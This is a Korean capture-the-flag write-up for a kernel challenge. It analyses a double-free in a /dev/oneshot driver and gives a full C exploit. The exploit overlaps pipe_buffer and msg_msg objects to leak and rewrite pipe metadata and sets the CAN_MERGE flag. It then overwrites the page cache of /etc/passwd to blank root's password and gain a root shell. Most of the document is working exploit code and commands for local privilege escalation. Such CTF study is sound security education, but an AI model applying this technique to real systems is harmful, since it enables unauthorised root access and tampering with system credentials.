pwn_kuwu - One Shot One Flag
취약점 분석
1. module_ioctl()의 해제 후 포인터 초기화 누락
/dev/oneshot은 다음 두 ioctl 명령을 제공한다.
0x13370001:kmalloc(0x1000)으로 객체를 만들고 사용자 데이터를 복사한다.0x13370002: 전역 포인터chunk를kfree()한다.
해제 경로는 chunk를 NULL로 초기화하지 않는다. 따라서 같은 FD에서 FREE 명령을 반복하면 동일한 주소를 다시 해제할 수 있다.
static long module_ioctl(struct file *file, unsigned int cmd,
unsigned long arg)
{
long ret = -1;
mutex_lock(&g_mutex);
if (cmd == 0x13370001) {
if (chunk == NULL) {
void *new_chunk = kmalloc(0x1000, GFP_KERNEL_ACCOUNT);
if (new_chunk != NULL &&
copy_from_user(new_chunk, (void __user *)arg, 0x1000) == 0) {
chunk = new_chunk;
ret = 0;
} else {
kfree(new_chunk);
}
}
} else if (cmd == 0x13370002) {
kfree(chunk);
/* chunk = NULL; 이 누락됨 */
ret = 0;
}
mutex_unlock(&g_mutex);
return ret;
}첫 FREE 이후 다른 kmalloc-4k 객체가 같은 주소를 재사용하게 만든 다음 FREE를 다시 호출하면, 드라이버가 그 객체를 사용 중인 상태로 해제한다. 이를 통해 다른 커널 객체와의 UAF 및 타입 혼동을 만들 수 있다.
이 익스플로잇은 해당 주소를 파이프의 pipe_buffer 배열로 재사용한 뒤 다시 해제하고, 같은 주소를 System V msg_msg로 재할당한다. 그 결과 메시지 송수신으로 파이프 메타데이터를 읽고 쓸 수 있다.
Exploit 과정
Step 1: 취약한 0x1000 객체 할당 및 첫 번째 해제
드라이버가 kmalloc-4k에서 0x1000바이트 객체를 할당하도록 한다. 첫 번째 FREE 이후 전역 chunk는 해제된 주소를 계속 가리킨다.
char buf[0x1000] = {0};
memset(buf, 0x41, sizeof(buf));
ioctl(fd, CREATE_CMD, buf);
ioctl(fd, DELETE_CMD, buf);Step 2: 해제된 주소를 pipe_buffer 배열로 재사용
파이프 크기를 0x30000으로 요청하면 커널은 페이지 수를 2의 거듭제곱으로 반올림한다. 64개 엔트리로 구성된 배열은 다음 크기를 가지므로 kmalloc-4k에 배치된다.
64 * sizeof(struct pipe_buffer)
= 64 * 0x28
= 0xa00
=> kmalloc-4k첫 FREE로 반환된 드라이버 객체를 이 배열이 재사용한다.
int pipefd[2];
pipe(pipefd);
fcntl(pipefd[1], F_SETPIPE_SZ, 0x1000 * 0x30);
write(pipefd[1], "AAAA", 4);
read(pipefd[0], buf, 4);
write(pipefd[1], "BBBB", 4);write/read/write는 파이프 링의 head와 tail을 진행시켜 이후 생성되는 file-backed pipe_buffer가 메시지 데이터에서 관찰 가능한 위치에 놓이도록 한다.
Step 3: 두 번째 FREE로 살아 있는 파이프 배열 해제
전역 chunk는 여전히 파이프 배열 주소를 가리킨다. 두 번째 FREE는 파이프가 사용 중인 배열을 kfree()한다.
ioctl(fd, DELETE_CMD, buf);이 시점부터 pipe->bufs는 해제된 kmalloc-4k 객체를 가리킨다.
Step 4: msg_msg로 파이프 배열과 겹치기
struct msg_msg 헤더는 0x30바이트이다. 0xfd0바이트 메시지를 전송하면 전체 할당 크기가 정확히 0x1000이 된다.
sizeof(struct msg_msg) + message length
= 0x30 + 0xfd0
= 0x1000따라서 msgsnd()가 해제된 파이프 배열 주소를 재사용한다.
struct msg_buf {
long mtype;
char mtext[0x1000 - 0x30];
};
msg.mtype = 1;
memset(msg.mtext, 0x42, sizeof(msg.mtext));
msgsnd(qid, &msg, sizeof(msg.mtext), 0);파이프와 메시지가 같은 커널 객체를 동시에 참조하므로 파이프 동작이 메시지 본문을 변경하고, 메시지 전송이 파이프 메타데이터를 변경한다.
Step 5: splice()로 /etc/passwd의 page cache 연결
splice()는 /etc/passwd의 첫 바이트가 들어 있는 page-cache page를 참조하는 pipe_buffer를 파이프에 추가한다.
int passwd_fd = open("/etc/passwd", O_RDONLY);
off_t offset = 0;
splice(passwd_fd, &offset, pipefd[1], NULL, 1, 0);데이터를 사용자 공간으로 복사하지 않고 다음과 같은 file-backed pipe_buffer가 생성된다.
struct pipe_buffer {
struct page *page; // +0x00
unsigned int offset; // +0x08
unsigned int len; // +0x0c
const struct pipe_buf_operations *ops; // +0x10
unsigned int flags; // +0x18
unsigned long private; // +0x20
};Step 6: 겹친 메시지를 수신하여 파이프 메타데이터 유출
msgrcv()가 겹친 msg_msg의 본문을 사용자 공간으로 복사한다. 실제 실행 결과에서 file-backed pipe_buffer는 msg.mtext + 0x20부터 나타난다.
msg.mtext + 0x20: page
msg.mtext + 0x28: offset | len
msg.mtext + 0x30: ops
msg.mtext + 0x38: flags
msg.mtext + 0x40: privatemsgrcv(qid, &msg, 0x100, 1, IPC_NOWAIT | MSG_NOERROR);
hexdump(msg.mtext, 0x100);msgrcv()는 메시지를 큐에서 제거하면서 겹친 kmalloc-4k 객체도 다시 해제한다. 유출한 page와 ops는 그대로 보존하고 다음 두 필드만 변경한다.
*(uint64_t *)(msg.mtext + 0x28) = 0;
*(uint64_t *)(msg.mtext + 0x38) = 0x10;첫 번째 대입은 offset과 len을 모두 0으로 만든다. 두 번째 대입은 PIPE_BUF_FLAG_CAN_MERGE 비트 0x10을 설정한다.
Step 7: 수정한 메시지로 파이프 메타데이터 덮기
메시지를 다시 전송하면 방금 해제된 주소가 다시 msg_msg로 할당된다. 사용자 공간에서 수정한 본문이 겹친 파이프 배열에 기록된다.
msgsnd(qid, &msg, sizeof(msg.mtext), 0);마지막 file-backed pipe_buffer는 다음 상태가 된다.
page = /etc/passwd의 page-cache page
offset = 0
len = 0
flags = PIPE_BUF_FLAG_CAN_MERGEStep 8: page cache의 /etc/passwd 덮기
PIPE_BUF_FLAG_CAN_MERGE가 설정되었으므로 다음 write()는 새 익명 파이프 페이지를 만들지 않고 기존 file-backed buffer에 데이터를 병합한다. 따라서 읽기 전용으로 연 /etc/passwd의 page cache가 변경된다.
char *new_passwd = "root::0:0:root:/root:/bin/sh\n";
write(pipefd[1], new_passwd, strlen(new_passwd));
system("su -c '/bin/sh'");root 계정의 비밀번호 필드를 비운 뒤 su를 실행하여 root 셸을 획득한다.
Exploit Code
#define _GNU_SOURCE
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#define CREATE_CMD 0x13370001
#define DELETE_CMD 0x13370002
struct msg_buf
{
long mtype;
char mtext[0x1000 - 0x30];
};
int main()
{
important("happy hacking!");
// open /dev/oneshot
pin_cpu(0);
int fd = open("/dev/oneshot", O_RDWR);
if (fd < 0)
{
perror("open");
return -1;
}
info("/dev/oneshot opened: %d", fd);
// create 0x1000 object and delete it
char buf[0x1000] = {0};
memset(buf, 0x41, sizeof(buf));
ioctl(fd, CREATE_CMD, buf);
info("created 0x1000 object");
ioctl(fd, DELETE_CMD, buf);
info("deleted 0x1000 object");
// create pipe
int pipefd[2];
pipe(pipefd);
info("pipe: %d %d", pipefd[0], pipefd[1]);
// allocated pipe_buffer at the kmalloc-4k
fcntl(pipefd[1], F_SETPIPE_SZ, 0x1000 * 0x30);
info("pipe_buffer allocated at kmalloc-4k");
write(pipefd[1], "AAAA", 4);
read(pipefd[0], buf, 4);
write(pipefd[1], "BBBB", 4);
// double free the 0x1000 object
ioctl(fd, DELETE_CMD, buf);
info("double free the 0x1000 object");
// create a message queue
int qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
info("msgget: %d", qid);
// create 0x1000 size msg_msg struct at kmalloc-4k which will be allocated at kmalloc-4k
struct msg_buf msg;
msg.mtype = 1;
memset(msg.mtext, 0x42, sizeof(msg.mtext));
msgsnd(qid, &msg, sizeof(msg.mtext), 0);
info("msgsnd: %d", qid);
// splice the pipe to the /etc/passwd file
int passwd_fd = open("/etc/passwd", O_RDONLY);
info("/etc/passwd opened: %d", passwd_fd);
off_t offset = 0;
splice(passwd_fd, &offset, pipefd[1], NULL, 1, 0);
info("spliced /etc/passwd to pipe");
// read the msg to leak
msgrcv(qid, &msg, 0x100, 1, IPC_NOWAIT | MSG_NOERROR);
hexdump(msg.mtext, 0x100);
// set pipe_buffer->offset,len to 0
*(uint64_t *)(msg.mtext + 0x28) = 0;
// set pipe_buffer->flags to PIPE_BUF_FLAG_CAN_MERGE
*(uint64_t *)(msg.mtext + 0x38) = 0x10;
// write the msg to overwrite the pipe_buffer->offset,len
msgsnd(qid, &msg, sizeof(msg.mtext), 0);
info("overwritten pipe_buffer->offset,len to 0");
// overwrite the /etc/passwd file content
char *new_passwd = "root::0:0:root:/root:/bin/sh\n";
write(pipefd[1], new_passwd, strlen(new_passwd));
info("overwritten /etc/passwd file content");
system("su -c '/bin/sh'");
return 0;
}